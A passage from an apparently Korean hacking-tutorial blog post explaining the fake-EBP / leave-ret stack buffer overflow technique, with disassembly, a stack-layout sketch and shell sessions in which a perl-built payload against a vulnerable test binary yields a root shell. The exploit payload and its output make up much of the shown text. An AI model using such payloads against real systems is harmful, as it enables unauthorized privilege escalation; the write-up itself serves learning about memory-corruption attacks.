0x080485c7 <main+53>:   add    $0x10,%esp
0x080485ca <main+56>:   leave  <---------------------여기서 ebp의 위치를 확인하여 ret를 결정하게 된다.
0x080485cb <main+57>:   ret   
End of assembler dump.

만약 ebp에 fake_ebp(임의의 장소)를 넣고, ret에 leaveret로 덮게되면 fake_ebp를 진짜 ebp로 알고 ret의 위치가 바뀌게된다.
[--------버퍼--------][ebp][ret] 여기서 ebp와 ret를 fake_ebp와 leaveret로 채우면
[--------버퍼--------][fake_ebp][leaveret]로 덮게 된다.

그럼 fake_ebp는 어디에 써먹으면 좋을까?
스택을 필터링하거나, 오메가를 필터링할 때, 이를 피하기 위해 사용할 수 있다.
test의 예제를 가지고 ret를 바꿀 수 있다는것만 알아보도록 하자.

egg는 위에서 작성한 쉘코드를 가지고 작업한다.

[w0rm9@RealSkulls WGD]$ ./egg
Using address: 0xbffffa98
[w0rm9@RealSkulls WGD]$ ./test `perl -e 'print "\x98\xfa\xff\xbf\xac\xf1\xff\xbf\xca\x85\x04\x08"'`
0xbffff1d4  98 fa ff bf ac f1 ff bf ca 85 04 08 00 00 00 00   ................
0xbffff1e4  24 f2 ff bf 30 f2 ff bf 2c 58 01 40 02 00 00 00   $...0...,X.@....
0xbffff1f4  e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08   ................
0xbffff204  02 00 00 00 24 f2 ff bf cc 85 04 08 fc 85 04 08   ....$...........
0xbffff214  60 c6 00 40 1c f2 ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffff224  1a f3 ff bf 21 f3 ff bf 00 00 00 00 2e f3 ff bf   ....!...........
0xbffff234  46 f3 ff bf                                       F...
세그멘테이션 오류
[w0rm9@RealSkulls WGD]$ ./test `perl -e 'print "\x98\xfa\xff\xbf\xd0\xf1\xff\xbf\xca\x85\x04\x08"'`
0xbffff1d4  98 fa ff bf d0 f1 ff bf ca 85 04 08 00 00 00 00   ................
0xbffff1e4  24 f2 ff bf 30 f2 ff bf 2c 58 01 40 02 00 00 00   $...0...,X.@....
0xbffff1f4  e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08   ................
0xbffff204  02 00 00 00 24 f2 ff bf cc 85 04 08 fc 85 04 08   ....$...........
0xbffff214  60 c6 00 40 1c f2 ff bf 00 00 00 00 02 00 00 00   `..@............
0xbffff224  1a f3 ff bf 21 f3 ff bf 00 00 00 00 2e f3 ff bf   ....!...........
0xbffff234  46 f3 ff bf                                       F...
sh-2.05b# id
uid=0(root) gid=5013(w0rm9) groups=5013(w0rm9),11(RSRoot),10(wheel)

쉘이 떴다. 먼저 4바이트안에 egg의 주소를 넣고, ebp에는 4바이트의 앞부분(0xbffff1d4)의 넣는다.
그리고 ret엔 leaveret의 주소를 넣으면 leaveret는 함수의 ebp위치를 확인할 때 fake_ebp를 확인하여
RET를 결정할 것이다. 바로 0xbffff1d4가 RET로 되어버렸다.

≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡

━┯━━━━━━┯━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  │0x06. 마치며│
  └──────┘

몇일간 www.koreahacker.net에서 논다고 WGD의 마감날짜가 다가오는지도 모르고,
생각만 하고 있다가 부랴부랴 문서를 쓸려니 내용도 허접하고 맞는지 틀린지도 의문스럽고,
이런 문서를 올리자니 부끄럽네요.
챕터 3에 해결하지 못한 strcpy에서의 BOF에 대한 답변을 부탁드립니다.
그럼 테스트 후에 수정해서 올려놓을께요. 그리고 다음 WGD엔 주제를 미리 정해놓고,
체계적으로 완벽하게 이해를 한 뒤 문서를 쓰도록 해야겠네요.
아무쪼록 허접한 글 읽어주셔서 감사합니다.

≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡

Trackback Address :: http://badnom.com/trackback/210
Name
Password
Homepage
Secret
< PREV |  1  |  ...  812  |  813  |  814  |  815  |  816  |  817  |  818  |  819  |  820  |  ...  977  |  NEXT >